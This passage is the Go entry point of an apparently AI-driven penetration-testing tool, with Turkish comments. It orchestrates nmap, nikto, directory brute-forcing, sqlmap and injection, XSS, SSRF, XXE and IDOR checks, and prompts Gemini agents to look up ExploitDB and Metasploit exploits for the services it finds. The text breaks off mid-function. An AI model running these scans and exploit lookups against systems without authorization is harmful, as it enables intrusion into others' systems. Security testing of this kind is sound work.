main.go

package main

import (
	"context"
	"flag"
	"fmt"
	"os"
	"strings"
	"time"

	"kriya/agents"
	"kriya/crew"
	"kriya/llm"
	"kriya/tasks"
	"kriya/utils"
)

// Command line flags
var (
	target   = flag.String("t", "", "Target URL or IP")
	help     = flag.Bool("help", false, "Show help")
	nmapScan = flag.Bool("nmap", false, "Run only Nmap")
	sqlTest  = flag.Bool("sql", false, "Run only SQL injection")
	xssTest  = flag.Bool("xss", false, "Run only XSS")
	ssrfTest = flag.Bool("ssrf", false, "Run only SSRF")
	xxeTest  = flag.Bool("xxe", false, "Run only XXE")
	cmdTest  = flag.Bool("cmdinj", false, "Run only Command Injection")
	idorTest = flag.Bool("idor", false, "Run only IDOR")
	threads  = flag.Int("threads", 5, "Concurrent threads")
	verbose  = flag.Bool("v", false, "Verbose output")
)

func main() {
	ctx := context.Background()
	flag.Parse()

	// Show help
	if *help || len(os.Args) == 1 {
		showHelp()
		return
	}

	// Gemini API key al
	apiKey, err := llm.GetAPIKey()
	if err != nil {
		fmt.Printf("HATA: %v\n", err)
		fmt.Println("\nÇözüm:")
		fmt.Println("1. .env dosyası oluşturun")
		fmt.Println("2. İçine şunu yazın: GEMINI_API_KEY=your-key-here")
		fmt.Println("3. API key almak için: https://makersuite.google.com/app/apikey")
		os.Exit(1)
	}

	// Validate target
	if *target == "" {
		fmt.Println("❌ Error: Target (-t) required")
		fmt.Println("Use --help for info")
		os.Exit(1)
	}

	// Gemini client oluştur
	geminiClient, err := llm.NewGeminiClient(ctx, apiKey)
	if err != nil {
		fmt.Printf("HATA: Gemini client oluşturulamadı: %v\n", err)
		os.Exit(1)
	}
	defer geminiClient.Close()

	// Banner
	fmt.Println("\n╔════════════════════════════════════════════════════════════╗")
	fmt.Println("║  🎯 KRIYA - AUTONOMOUS AI PENETRATION TESTING SYSTEM      ║")
	fmt.Println("╚════════════════════════════════════════════════════════════╝")
	fmt.Printf("\n🎯 TARGET: %s\n", *target)
	if *threads > 1 {
		fmt.Printf("⚙️  THREADS: %d\n", *threads)
	}
	fmt.Println(strings.Repeat("─", 64))

	// Check if specific module selected
	moduleSelected := *nmapScan || *sqlTest || *xssTest || *ssrfTest || *xxeTest || *cmdTest || *idorTest

	if moduleSelected {
		// Run specific modules
		runSpecificModules(ctx, geminiClient, *target)
	} else {
		// Run full pentest
		runFullPentestWithTarget(ctx, geminiClient, *target)
	}
}

func showHelp() {
	fmt.Println(`
╔════════════════════════════════════════════════════════════╗
║  🎯 KRIYA - AUTONOMOUS AI PENETRATION TESTING SYSTEM      ║
╚════════════════════════════════════════════════════════════╝

USAGE:
  kriya -t <target> [options]

REQUIRED:
  -t <target>          Target URL or IP
                       Ex: -t http://testphp.vulnweb.com

SCAN MODULES (run specific tests):
  --nmap               Nmap port scanning
  --sql                SQL Injection testing  
  --xss                XSS testing
  --ssrf               SSRF testing
  --xxe                XXE testing
  --cmdinj             Command Injection testing
  --idor               IDOR testing

PERFORMANCE:
  --threads <n>        Concurrent threads (default: 5)
  -v                   Verbose output

OTHER:
  --help               Show this help

EXAMPLES:
  # Full autonomous pentest
  kriya -t http://testphp.vulnweb.com

  # Run only SQL injection
  kriya -t http://target.com --sql

  # Multiple tests
  kriya -t http://target.com --sql --xss --ssrf

  # With threads
  kriya -t http://target.com --threads 10

WARNING:
  ⚠️  Only test systems you own or have permission!
  ⚠️  Unauthorized testing is illegal!
`)
}

func runSpecificModules(ctx context.Context, geminiClient *llm.GeminiClient, target string) {
	fmt.Println("\n🔧 Running specific modules...\n")

	results := ""

	// Nmap
	if *nmapScan {
		fmt.Println("📡 [1] Nmap Port Scanning...")
		if utils.CheckNmapInstalled() {
			targetHost := extractHost(target)
			output, err := utils.RunNmapScan(targetHost)
			if err == nil {
				results += "## Nmap Results\n\n```\n" + output + "\n```\n\n"
				fmt.Println("  ✓ Nmap completed")
			}
		}
	}

	// SQL Injection
	if *sqlTest {
		fmt.Println("💉 [2] SQL Injection Testing...")
		points, _ := utils.FindInjectionPoints(target)
		if len(points) > 0 {
			payloads := utils.GenerateSQLPayloads()
			for i, p := range payloads[:3] {
				vuln, dbType, _ := utils.TestSQLInjectionManual(target, "id", p)
				if vuln {
					results += fmt.Sprintf("## SQL Injection\n\n🔴 VULNERABLE! DB: %s\n\n", dbType)
					fmt.Println("  🔴 Vulnerability found!")
					break
				}
				if i == 2 {
					results += "## SQL Injection\n\n✓ No vulnerability\n\n"
					fmt.Println("  ✓ No vulnerability")
				}
			}
		}
	}

	// XSS
	if *xssTest {
		fmt.Println("🔓 [3] XSS Testing...")
		xssResult := utils.TestXSSComprehensive(target)
		results += "## XSS Results\n\n" + utils.FormatXSSResults(xssResult) + "\n\n"
		if xssResult.Vulnerable {
			fmt.Println("  🔴 XSS vulnerability found!")
		} else {
			fmt.Println("  ✓ No XSS")
		}
	}

	// SSRF
	if *ssrfTest {
		fmt.Println("📡 [4] SSRF Testing...")
		ssrfResult := utils.TestSSRF(target)
		results += "## SSRF Results\n\n" + utils.FormatSSRFResults(ssrfResult) + "\n\n"
		if ssrfResult.Vulnerable {
			fmt.Println("  🔴 SSRF vulnerability found!")
		} else {
			fmt.Println("  ✓ No SSRF")
		}
	}

	// XXE
	if *xxeTest {
		fmt.Println("📄 [5] XXE Testing...")
		xxeResult := utils.TestXXE(target)
		results += "## XXE Results\n\n" + utils.FormatXXEResults(xxeResult) + "\n\n"
		if xxeResult.Vulnerable {
			fmt.Println("  🔴 XXE vulnerability found!")
		} else {
			fmt.Println("  ✓ No XXE")
		}
	}

	// Command Injection
	if *cmdTest {
		fmt.Println("⚡ [6] Command Injection Testing...")
		cmdResult := utils.TestCommandInjection(target)
		results += "## Command Injection Results\n\n" + utils.FormatCommandInjectionResults(cmdResult) + "\n\n"
		if cmdResult.Vulnerable {
			fmt.Println("  🔴 Command Injection found!")
		} else {
			fmt.Println("  ✓ No Command Injection")
		}
	}

	// IDOR
	if *idorTest {
		fmt.Println("🔑 [7] IDOR Testing...")
		idorResult := utils.TestIDOR(target)
		results += "## IDOR Results\n\n" + utils.FormatIDORResults(idorResult) + "\n\n"
		if idorResult.Vulnerable {
			fmt.Println("  🔴 IDOR vulnerability found!")
		} else {
			fmt.Println("  ✓ No IDOR")
		}
	}

	// AI Analysis
	if results != "" {
		fmt.Println("\n🤖 AI Analysis...")
		_, finalReport := llm.IterativeAnalysis(ctx, geminiClient.GetModel(), results, target)
		fmt.Println("\n" + strings.Repeat("═", 80))
		fmt.Println("📄 REPORT")
		fmt.Println(strings.Repeat("═", 80))
		fmt.Println(finalReport)
	}
}

func extractHost(targetURL string) string {
	parts := strings.Split(targetURL, "://")
	if len(parts) > 1 {
		host := strings.Split(parts[1], "/")[0]
		host = strings.Split(host, ":")[0]
		return host
	}
	return targetURL
}

// runBlogWriter blog yazma sistemini çalıştırır
func runBlogWriter(ctx context.Context, geminiClient *llm.GeminiClient) {
	fmt.Println("\n📝 BLOG YAZISI YAZDIRMA")
	fmt.Println("════════════════════════════════════════\n")

	// Kullanıcıdan konu al
	topic := utils.GetInput("Konu: ")
	if topic == "" {
		fmt.Println("❌ Konu boş olamaz!")
		return
	}

	fmt.Printf("\n✓ Konu alındı: %s\n", topic)
	fmt.Println("\n🤖 AI Ekibi çalışmaya başlıyor...\n")

	// AGENT'LARI OLUŞTUR
	researcher := agents.NewAgent(
		agents.RoleResearcher,
		"Verilen konu hakkında detaylı ve doğru bilgi toplamak",
		"Sen deneyimli bir araştırmacısın. İnternetten ve kaynaklardan en güncel bilgileri bulursun. Her zaman güvenilir bilgi sağlarsın.",
		true,
	)

	writer := agents.NewAgent(
		agents.RoleWriter,
		"Araştırma sonuçlarından akıcı ve ilgi çekici blog yazısı oluşturmak",
		"Sen yaratıcı bir yazarsın. Karmaşık konuları basit ve anlaşılır şekilde anlatırsın. Okuyucuyu sıkmayan, bilgilendirici yazılar yazarsın.",
		true,
	)

	editor := agents.NewAgent(
		agents.RoleEditor,
		"Yazıyı kontrol edip hatasız ve profesyonel hale getirmek",
		"Sen titiz bir editörsün. Yazım hatalarını, gramer sorunlarını ve akış problemlerini tespit edip düzeltirsin. Metni en iyi haline getirirsin.",
		true,
	)

	// GÖREVLER OLUŞTUR
	researchTask := tasks.NewTask(
		fmt.Sprintf(`'%s' konusu hakkında detaylı araştırma yap.

Şunları bul:
1. Konunun tanımı ve önemi
2. Güncel kullanım alanları veya örnekler
3. Avantajları veya faydaları
4. Zorlukları veya dikkat edilecek noktalar

Her madde için net ve anlaşılır açıklamalar yaz.`, topic),
		"Madde madde araştırma raporu",
		researcher,
	)

	writingTask := tasks.NewTask(
		fmt.Sprintf(`Araştırma sonuçlarını kullanarak '%s' hakkında KAPSAMLI bir blog yazısı yaz.

Yazının yapısı:
- Dikkat çekici bir başlık (# Markdown formatında)
- Giriş paragrafı (konuyu tanıt, neden önemli)
- Ana bölümler (araştırma bulgularını detaylı anlat, alt başlıklar kullan)
- Sonuç paragrafı (özet ve düşündürücü kapanış)

ÖNEMLİ:
- En az 600-800 kelime yaz
- Markdown formatında yaz (başlıklar, listeler kullan)
- Türkçe, akıcı, anlaşılır dil
- Bilgilendirici ama sıkmayan ton
- YAZININ TAMAMINI YAZ, yarıda kesme!`, topic),
		"Tamamlanmış blog yazısı (Markdown)",
		writer,
	)

	editingTask := tasks.NewTask(
		`Sana bir blog yazısı gönderildi. Görevin bu yazıyı AYNEN ALIP sadece şunları düzeltmek:

1. Yazım ve gramer hatalarını düzelt
2. Cümle yapılarını iyileştir  
3. Akışı kontrol et, gerekirse paragraf düzenle
4. Gereksiz tekrarları kaldır
5. Markdown formatını kontrol et (başlıklar, listeler)

ÖNEMLİ:
- Yazıyı KISA YAPMA, olduğu gibi bırak
- İçerik eksilmesin, sadece düzelt
- Sonucu Markdown formatında ver
- Meta açıklama yapma, direkt düzeltilmiş yazıyı ver`,
		"Düzeltilmiş final blog yazısı (Markdown)",
		editor,
	)

	// CREW OLUŞTUR VE ÇALIŞTIR
	blogCrew := crew.NewCrew(
		[]*agents.Agent{researcher, writer, editor},
		[]*tasks.Task{researchTask, writingTask, editingTask},
		geminiClient,
		true,
	)

	// Crew'u çalıştır
	result, err := blogCrew.Kickoff(ctx)
	if err != nil {
		fmt.Printf("\n❌ HATA: %v\n", err)
		return
	}

	// Sonucu göster
	utils.PrintResult(result)

	// Kaydetmek ister misin?
	if utils.AskYesNo("Kaydetmek ister misiniz?") {
		err := utils.SaveToFile(result, topic)
		if err != nil {
			fmt.Printf("❌ Kaydetme hatası: %v\n", err)
		}
	} else {
		fmt.Println("✓ Sonuç kaydedilmedi")
	}

	fmt.Println()
}

// runSecurityScanner güvenlik tarama sistemini çalıştırır
func runSecurityScanner(ctx context.Context, geminiClient *llm.GeminiClient) {
	fmt.Println("\n🔒 GÜVENLİK TARAMASI (NMAP)")
	fmt.Println("════════════════════════════════════════\n")

	// Nmap kontrolü
	if !utils.CheckNmapInstalled() {
		utils.InstallNmap()
		return
	}

	// Uyarı
	fmt.Println("⚠️  UYARI: Sadece kendi sistemlerinizi veya izin aldığınız sistemleri tarayın!")
	fmt.Println("    İzinsiz tarama yasadışıdır ve etik olmayan davranıştır.\n")

	// Kullanıcıdan hedef al
	target := utils.GetInput("Hedef IP veya Domain: ")
	if target == "" {
		fmt.Println("❌ Hedef boş olamaz!")
		return
	}

	if !utils.ValidateIP(target) {
		fmt.Println("❌ Geçersiz IP/Domain formatı!")
		return
	}

	// Onay al
	fmt.Printf("\n⚠️  '%s' hedefini taramak istediğinize emin misiniz?\n", target)
	if !utils.AskYesNo("Devam et?") {
		fmt.Println("✓ Tarama iptal edildi")
		return
	}

	fmt.Printf("\n✓ Hedef: %s\n", target)
	fmt.Println("\n🤖 Güvenlik Ekibi çalışmaya başlıyor...\n")

	// Araç kontrolleri
	fmt.Println("🔧 Araç Kontrolleri:")
	fmt.Printf("  ✓ Nmap: Yüklü\n")

	if utils.CheckSearchsploitInstalled() {
		fmt.Printf("  ✓ Searchsploit: Yüklü (Hızlı exploit araması)\n")
	} else {
		fmt.Printf("  ℹ️  Searchsploit: Yok (Web API kullanılacak)\n")
	}

	if utils.CheckMetasploitInstalled() {
		fmt.Printf("  ✓ Metasploit: Yüklü (Kullanım komutları gösterilecek)\n")
	} else {
		fmt.Printf("  ℹ️  Metasploit: Yok (Sadece exploit bilgileri gösterilecek)\n")
	}
	fmt.Println()

	// AGENT'LARI OLUŞTUR
	nmapScanner := agents.NewAgent(
		agents.RoleNmapScanner,
		"Hedef sistemde port taraması yapıp açık portları ve servisleri tespit etmek",
		"Sen deneyimli bir penetration tester'sın. Nmap çıktılarını analiz edip önemli bilgileri çıkarabilirsin. Açık portları, servisleri ve potansiyel güvenlik açıklarını tespit edersin.",
		true,
	)

	versionDetector := agents.NewAgent(
		agents.RoleVersionDetector,
		"Tespit edilen servislerin versiyonlarını detaylı şekilde listelemek",
		"Sen bir sistem analisti olarak, servis versiyonlarını tespit etme konusunda uzmansın. Nmap sonuçlarından versiyon bilgilerini çıkarır ve düzenli bir şekilde listelersin.",
		true,
	)

	exploitSearcher := agents.NewAgent(
		agents.RoleExploitSearcher,
		"Tespit edilen versiyonlar için bilinen güvenlik açıklarını araştırmak",
		"Sen bir güvenlik araştırmacısısın. ExploitDB, CVE veritabanları ve güvenlik kaynaklarını iyi bilirsin. Servis versiyonlarına göre bilinen açıkları tespit edersin.",
		true,
	)

	vulnAnalyzer := agents.NewAgent(
		agents.RoleVulnAnalyzer,
		"Bulunan güvenlik açıklarını analiz edip kapsamlı rapor hazırlamak",
		"Sen siber güvenlik analisti olarak, güvenlik açıklarını değerlendirir, risk seviyelerini belirler ve teknik raporlar hazırlarsın. Hem teknik hem de yönetici seviyesinde raporlar oluşturabilirsin.",
		true,
	)

	// GÖREVLER OLUŞTUR

	// 1. Nmap Taraması
	fmt.Println("🔍 1/4: Nmap port taraması başlatılıyor...")
	nmapOutput, err := utils.RunNmapScan(target)
	if err != nil {
		fmt.Printf("\n❌ HATA: %v\n", err)
		return
	}
	fmt.Println("✓ Tarama tamamlandı\n")

	nmapTask := tasks.NewTask(
		fmt.Sprintf(`Aşağıda '%s' hedefine yapılan Nmap taramasının çıktısı var.

NMAP ÇIKTISI:
%s

GÖREV:
1. Açık portları listele (port numarası ve servis adı)
2. Çalışan servisleri tespit et
3. Önemli bulguları özetle
4. Potansiyel risk noktalarını belirt

Türkçe, net ve düzenli bir rapor hazırla.`, target, nmapOutput),
		"Nmap tarama analizi",
		nmapScanner,
	)

	// 2. Versiyon Tespiti
	versionTask := tasks.NewTask(
		`Nmap taramasından elde edilen bilgileri kullanarak:

1. Tüm tespit edilen servislerin versiyonlarını çıkar
2. Her servis için: Servis Adı | Port | Versiyon şeklinde liste oluştur
3. İşletim sistemi bilgisi varsa ekle
4. Versiyon bilgisi olmayan servisler için "Bilinmiyor" yaz

ÖNEMLİ: Sonucu şu formatta ver:
Apache | 80 | 2.4.41
OpenSSH | 22 | 8.2p1

Bu listeyi bir sonraki görev ExploitDB'de arayacak.`,
		"Servis versiyon listesi",
		versionDetector,
	)

	// 3. Exploit Araştırması (GERÇEK ExploitDB araması)
	fmt.Println("🔓 3/4: ExploitDB araştırması yapılıyor...")

	exploitTask := tasks.NewTask(
		`Tespit edilen servis versiyonlarını kullanarak:

1. Her versiyon için bilinen güvenlik açıklarını araştır (CVE numaraları)
2. ExploitDB'de mevcut exploitleri kontrol et
3. Kritik güvenlik açıklarını belirle (CVSS skoru yüksek olanlar)
4. Her açık için:
   - Servis ve versiyon
   - CVE numarası
   - Açıklama
   - Risk seviyesi (Kritik/Yüksek/Orta/Düşük)
   - Exploit durumu (Var/Yok)

Not: Gerçek CVE/Exploit bilgilerini biliyorsan kullan, yoksa "olası açıklar" olarak belirt.`,
		"Güvenlik açığı listesi",
		exploitSearcher,
	)

	// 4. Güvenlik Analizi ve Rapor
	vulnTask := tasks.NewTask(
		fmt.Sprintf(`'%s' hedefinin güvenlik taraması tamamlandı. 
Tüm bilgileri kullanarak KAPSAMLI bir güvenlik raporu hazırla:

## RAPOR YAPISI:

### 1. YÖNETİCİ ÖZETİ
- Genel durum (1-2 paragraf)
- Kritik bulgular
- Acil aksiyonlar

### 2. TEKNİK DETAYLAR
- Açık portlar ve servisler
- Tespit edilen versiyonlar
- Güvenlik açıkları (CVE'ler)

### 3. RİSK DEĞERLENDİRMESİ
- Kritik riskler
- Yüksek riskler
- Orta/Düşük riskler

### 4. ÖNERİLER
- Hemen yapılması gerekenler
- Kısa vadeli öneriler
- Uzun vadeli öneriler

### 5. SONUÇ
- Genel güvenlik durumu
- Öncelikli aksiyonlar

Markdown formatında, profesyonel ve teknik bir rapor hazırla.
⚠️ UYARI: Raporda "Bu bir eğitim taramasıdır" notunu ekle.`, target),
		"Final güvenlik raporu",
		vulnAnalyzer,
	)

	// Manuel görev yürütme (ExploitDB araması için)
	fmt.Println("\n🚀 GÜVENLİK EKİBİ BAŞLATILDI\n")

	// Görev 1: Nmap analizi
	fmt.Println("════════════════════════════════════════")
	fmt.Println("GÖREV 1/4: Nmap Tarama Analizi")
	fmt.Println("════════════════════════════════════════\n")

	nmapResult, err := nmapTask.Execute(ctx, geminiClient)
	if err != nil {
		fmt.Printf("\n❌ HATA: %v\n", err)
		return
	}
	fmt.Println()

	// Görev 2: Versiyon tespiti
	fmt.Println("════════════════════════════════════════")
	fmt.Println("GÖREV 2/4: Versiyon Tespiti")
	fmt.Println("════════════════════════════════════════\n")

	versionTask.AddContext(nmapResult.Output)
	versionResult, err := versionTask.Execute(ctx, geminiClient)
	if err != nil {
		fmt.Printf("\n❌ HATA: %v\n", err)
		return
	}
	fmt.Println()

	// Görev 3: ExploitDB araması (GERÇEK ARAMA)
	fmt.Println("════════════════════════════════════════")
	fmt.Println("GÖREV 3/4: Exploit Araştırması")
	fmt.Println("════════════════════════════════════════\n")

	// Versiyonlardan exploit ara
	exploitResults := ""
	versionLines := strings.Split(versionResult.Output, "\n")

	for _, line := range versionLines {
		line = strings.TrimSpace(line)
		if line == "" || !strings.Contains(line, "|") {
			continue
		}

		parts := strings.Split(line, "|")
		if len(parts) >= 2 {
			service := strings.TrimSpace(parts[0])
			version := ""
			if len(parts) >= 3 {
				version = strings.TrimSpace(parts[2])
			}

			searchQuery := service
			if version != "" && version != "Bilinmiyor" {
				searchQuery = fmt.Sprintf("%s %s", service, version)
			}

			fmt.Printf("  🔍 Aranıyor: %s\n", searchQuery)

			exploits, err := utils.SearchExploitDB(searchQuery)
			if err != nil {
				fmt.Printf("     ⚠️  Arama hatası: %v\n", err)
				continue
			}

			if len(exploits) > 0 {
				fmt.Printf("     ✓ %d exploit bulundu\n", len(exploits))

				// Metasploit var mı kontrol et
				if utils.CheckMetasploitInstalled() {
					fmt.Printf("     🎯 Metasploit modülleri aranıyor...\n")
				}

				exploitResults += fmt.Sprintf("\n### %s\n", searchQuery)
				exploitResults += utils.FormatExploitResults(exploits, target)
			} else {
				fmt.Printf("     ℹ️  Exploit bulunamadı\n")
			}
		}
	}

	if exploitResults == "" {
		exploitResults = "Tespit edilen servisler için bilinen exploit bulunamadı."
	}

	fmt.Println("\n✓ ExploitDB araması tamamlandı\n")

	// Exploit task'a gerçek sonuçları ver
	exploitTask.AddContext(versionResult.Output)
	exploitTask.AddContext("ExploitDB Arama Sonuçları:\n" + exploitResults)

	exploitResult, err := exploitTask.Execute(ctx, geminiClient)
	if err != nil {
		fmt.Printf("\n❌ HATA: %v\n", err)
		return
	}
	fmt.Println()

	// Görev 4: Final rapor
	fmt.Println("════════════════════════════════════════")
	fmt.Println("GÖREV 4/4: Güvenlik Raporu Hazırlama")
	fmt.Println("════════════════════════════════════════\n")

	vulnTask.AddContext(nmapResult.Output)
	vulnTask.AddContext(versionResult.Output)
	vulnTask.AddContext(exploitResult.Output)

	finalResult, err := vulnTask.Execute(ctx, geminiClient)
	if err != nil {
		fmt.Printf("\n❌ HATA: %v\n", err)
		return
	}

	result := finalResult.Output

	// Sonucu göster
	utils.PrintResult(result)

	// Kaydetmek ister misin?
	if utils.AskYesNo("Raporu kaydetmek ister misiniz?") {
		err := utils.SaveSecurityReport(result, target)
		if err != nil {
			fmt.Printf("❌ Kaydetme hatası: %v\n", err)
		}
	} else {
		fmt.Println("✓ Rapor kaydedilmedi")
	}

	fmt.Println()
}

// runSQLInjectionTest SQL injection test sistemini çalıştırır
func runSQLInjectionTest(ctx context.Context, geminiClient *llm.GeminiClient) {
	fmt.Println("\n💉 SQL INJECTION TEST")
	fmt.Println("════════════════════════════════════════\n")

	// Uyarı
	fmt.Println("⚠️  UYARI: Sadece kendi web uygulamalarınızı veya izin aldığınız sistemleri test edin!")
	fmt.Println("    İzinsiz SQL injection testi yasadışıdır.\n")

	// Hedef URL
	targetURL := utils.GetInput("Hedef URL (örn: http://testphp.vulnweb.com/artists.php?artist=1): ")
	if targetURL == "" {
		fmt.Println("❌ URL boş olamaz!")
		return
	}

	if !strings.HasPrefix(targetURL, "http://") && !strings.HasPrefix(targetURL, "https://") {
		fmt.Println("❌ Geçerli bir URL girin")
		return
	}

	// Onay
	fmt.Printf("\n⚠️  '%s' hedefini test etmek istediğinize emin misiniz?\n", targetURL)
	if !utils.AskYesNo("Devam et?") {
		fmt.Println("✓ Test iptal edildi")
		return
	}

	fmt.Printf("\n✓ Hedef: %s\n\n", targetURL)

	// Araç kontrolleri
	fmt.Println("🔧 Araç Kontrolleri:")
	if utils.CheckSQLMapInstalled() {
		fmt.Println("  ✓ SQLMap: Yüklü")
	} else {
		fmt.Println("  ℹ️  SQLMap: Yok (Manuel testler yapılacak)")
	}
	fmt.Println()

	// Injection noktaları bul
	fmt.Println("🕷️  Injection noktaları tespit ediliyor...")
	points, _ := utils.FindInjectionPoints(targetURL)
	fmt.Printf("✓ %d test noktası bulundu\n\n", len(points))

	// SQLMap veya manuel test
	fmt.Println("💉 SQL Injection testleri yapılıyor...")

	testResults := ""
	if utils.CheckSQLMapInstalled() {
		output, err := utils.RunSQLMap(targetURL, nil)
		if err == nil {
			result := utils.ParseSQLMapOutput(output)
			if result.Vulnerable {
				fmt.Println("🔴 ZAFİYET TESPİT EDİLDİ!")
				testResults = fmt.Sprintf("Vulnerable: Yes\nDatabase: %s\nType: %s\nPayload: %s",
					result.Database, result.InjectionType, result.Payload)
			} else {
				fmt.Println("✓ Zafiyet tespit edilmedi")
				testResults = "No SQL injection vulnerability found"
			}
		}
	} else {
		payloads := utils.GenerateSQLPayloads()
		for i, p := range payloads[:5] {
			fmt.Printf("  [%d/5] %s\n", i+1, p)
			vuln, dbType, _ := utils.TestSQLInjectionManual(targetURL, "id", p)
			if vuln {
				fmt.Printf("  🔴 ZAFİYET! DB: %s\n", dbType)
				testResults = fmt.Sprintf("Vulnerable: Yes\nPayload: %s\nDatabase: %s", p, dbType)
				break
			}
		}
		if testResults == "" {
			testResults = "No vulnerability detected"
			fmt.Println("  ✓ Zafiyet tespit edilmedi")
		}
	}

	fmt.Println("\n📄 Rapor hazırlanıyor...")

	// AI ile rapor oluştur
	reportPrompt := fmt.Sprintf(`SQL Injection test raporu hazırla:

URL: %s
Test Noktaları: %d
Sonuçlar:
%s

Markdown formatında profesyonel rapor hazırla:
- Özet
- Test detayları
- Bulgular
- Öneriler`, targetURL, len(points), testResults)

	reportTask := tasks.NewTask(reportPrompt, "SQL Injection Raporu",
		agents.NewAgent(agents.RoleDBAnalyzer, "Rapor hazırlama", "Sen bir güvenlik analisti", true))

	finalResult, err := reportTask.Execute(ctx, geminiClient)
	if err != nil {
		fmt.Printf("❌ Rapor hatası: %v\n", err)
		return
	}

	utils.PrintResult(finalResult.Output)

	if utils.AskYesNo("Raporu kaydetmek ister misiniz?") {
		utils.SaveSQLReport(finalResult.Output, targetURL)
	}

	fmt.Println()
}

// runFullPentest tam kapsamlı penetration test yapar
func runFullPentest(ctx context.Context, geminiClient *llm.GeminiClient) {
	fmt.Println("\n🎯 TAM PENETRATION TEST")
	fmt.Println("════════════════════════════════════════\n")

	// Uyarı
	fmt.Println("⚠️  UYARI: Sadece kendi sistemlerinizi veya izin aldığınız sistemleri test edin!")
	fmt.Println("    İzinsiz penetration test yasadışıdır.\n")

	// Hedef al
	target := utils.GetInput("Hedef IP veya URL (örn: scanme.nmap.org veya http://testphp.vulnweb.com): ")
	if target == "" {
		fmt.Println("❌ Hedef boş olamaz!")
		return
	}

	// Hedef tipi belirle (IP mi URL mi?)
	isURL := strings.HasPrefix(target, "http://") || strings.HasPrefix(target, "https://")

	// Onay
	fmt.Printf("\n⚠️  '%s' hedefini TAM PENTEST ile test etmek istediğinize emin misiniz?\n", target)
	fmt.Println("    Bu işlem uzun sürebilir (5-15 dakika)")
	if !utils.AskYesNo("Devam et?") {
		fmt.Println("✓ Test iptal edildi")
		return
	}

	fmt.Printf("\n✓ Hedef: %s\n", target)
	fmt.Printf("✓ Hedef Tipi: %s\n\n", map[bool]string{true: "Web Uygulaması", false: "IP/Domain"}[isURL])

	// Test sonuçlarını biriktir
	allResults := "# PENETRATION TEST RAPORU\n\n"
	allResults += fmt.Sprintf("**Hedef:** %s\n", target)
	allResults += fmt.Sprintf("**Tarih:** %s\n\n", time.Now().Format("2006-01-02 15:04:05"))

	// 1. Nmap Port Taraması (Her durumda)
	fmt.Println("📡 [1/7] Nmap Port Taraması...")
	nmapResults := ""

	if utils.CheckNmapInstalled() {
		targetHost := target
		if isURL {
			// URL'den host çıkar
			parts := strings.Split(target, "://")
			if len(parts) > 1 {
				targetHost = strings.Split(parts[1], "/")[0]
				targetHost = strings.Split(targetHost, ":")[0]
			}
		}

		output, err := utils.RunNmapScan(targetHost)
		if err == nil {
			nmapResults = "## 1. Nmap Tarama Sonuçları\n\n```\n" + output + "\n```\n\n"
			allResults += nmapResults
			fmt.Println("  ✓ Nmap taraması tamamlandı")
		} else {
			fmt.Printf("  ⚠️  Nmap hatası: %v\n", err)
		}
	} else {
		fmt.Println("  ℹ️  Nmap yok, atlanıyor...")
	}

	// Eğer URL ise web testleri yap
	if isURL {
		// 2. Web Teknoloji Tespiti
		fmt.Println("🔍 [2/7] Web Teknoloji Tespiti...")
		techResult, err := utils.DetectWebTech(target)
		if err == nil {
			techOutput := utils.FormatWebTechResults(techResult)
			allResults += "## 2. " + techOutput
			fmt.Println("  ✓ Teknoloji tespiti tamamlandı")
		} else {
			fmt.Printf("  ⚠️  Teknoloji tespiti hatası: %v\n", err)
		}

		// 3. Nikto Web Server Taraması
		fmt.Println("🌐 [3/7] Nikto Web Server Taraması...")
		if utils.CheckNiktoInstalled() {
			niktoOutput, err := utils.RunNikto(target, "80")
			if err == nil {
				niktoResult := utils.ParseNiktoOutput(niktoOutput)
				niktoFormatted := utils.FormatNiktoResults(niktoResult)
				allResults += "## 3. " + niktoFormatted
				fmt.Printf("  ✓ Nikto taraması tamamlandı (%d bulgu)\n", niktoResult.TotalFindings)
			} else {
				fmt.Printf("  ⚠️  Nikto hatası: %v\n", err)
			}
		} else {
			fmt.Println("  ℹ️  Nikto yok, atlanıyor...")
		}

		// 4. Directory Brute Force + Deep Inspection
		fmt.Println("📁 [4/7] Directory Brute Force + Derin İnceleme...")
		if utils.CheckGobusterInstalled() || utils.CheckDirbInstalled() {
			var dirOutput string
			var err error

			if utils.CheckGobusterInstalled() {
				dirOutput, err = utils.RunGobuster(target, "")
			} else {
				dirOutput, err = utils.RunDirb(target, "")
			}

			if err == nil {
				dirResult := utils.ParseDirBruteOutput(dirOutput)

				// 🔥 YENİ: Bulunan dizinleri detaylı incele
				if dirResult.TotalFound > 0 {
					utils.InspectAllPaths(target, &dirResult)
				}

				dirFormatted := utils.FormatDirBruteResults(dirResult)
				allResults += "## 4. " + dirFormatted
				fmt.Printf("  ✓ Directory scan tamamlandı (%d bulgu, %d incelendi)\n",
					dirResult.TotalFound, len(dirResult.InspectedPaths))
			} else {
				fmt.Printf("  ⚠️  Directory brute force hatası: %v\n", err)
			}
		} else {
			fmt.Println("  ℹ️  Gobuster/Dirb yok, atlanıyor...")
		}

		// 5. SQL Injection Testi
		fmt.Println("💉 [5/7] SQL Injection Testi...")

		points, _ := utils.FindInjectionPoints(target)
		testResults := ""

		if len(points) > 0 {
			if utils.CheckSQLMapInstalled() {
				output, err := utils.RunSQLMap(target, nil)
				if err == nil {
					result := utils.ParseSQLMapOutput(output)
					if result.Vulnerable {
						testResults = fmt.Sprintf("🔴 SQL Injection ZAFİYETİ!\nDB: %s, Type: %s",
							result.Database, result.InjectionType)
					} else {
						testResults = "✓ SQL Injection zafiyeti yok"
					}
				}
			} else {
				// Manuel test
				payloads := utils.GenerateSQLPayloads()
				for i, p := range payloads[:3] {
					vuln, dbType, _ := utils.TestSQLInjectionManual(target, "id", p)
					if vuln {
						testResults = fmt.Sprintf("🔴 SQL Injection ZAFİYETİ! DB: %s", dbType)
						break
					}
					if i == 2 {
						testResults = "✓ SQL Injection zafiyeti yok (3 payload test edildi)"
					}
				}
			}

			allResults += "## 5. SQL Injection Test Sonuçları\n\n" + testResults + "\n\n"
			fmt.Println("  ✓ SQL Injection testi tamamlandı")
		} else {
			fmt.Println("  ℹ️  Test noktası bulunamadı, atlanıyor...")
		}

		// 6. XSS Testi
		fmt.Println("🔓 [6/7] XSS (Cross-Site Scripting) Testi...")
		xssResult := utils.TestXSSComprehensive(target)
		xssFormatted := utils.FormatXSSResults(xssResult)
		allResults += "## 6. " + xssFormatted
		if xssResult.Vulnerable {
			fmt.Println("  🔴 XSS zafiyeti tespit edildi!")
		} else {
			fmt.Println("  ✓ XSS testi tamamlandı")
		}

	} else {
		fmt.Println("ℹ️  Web testleri atlanıyor (hedef bir IP/domain)")
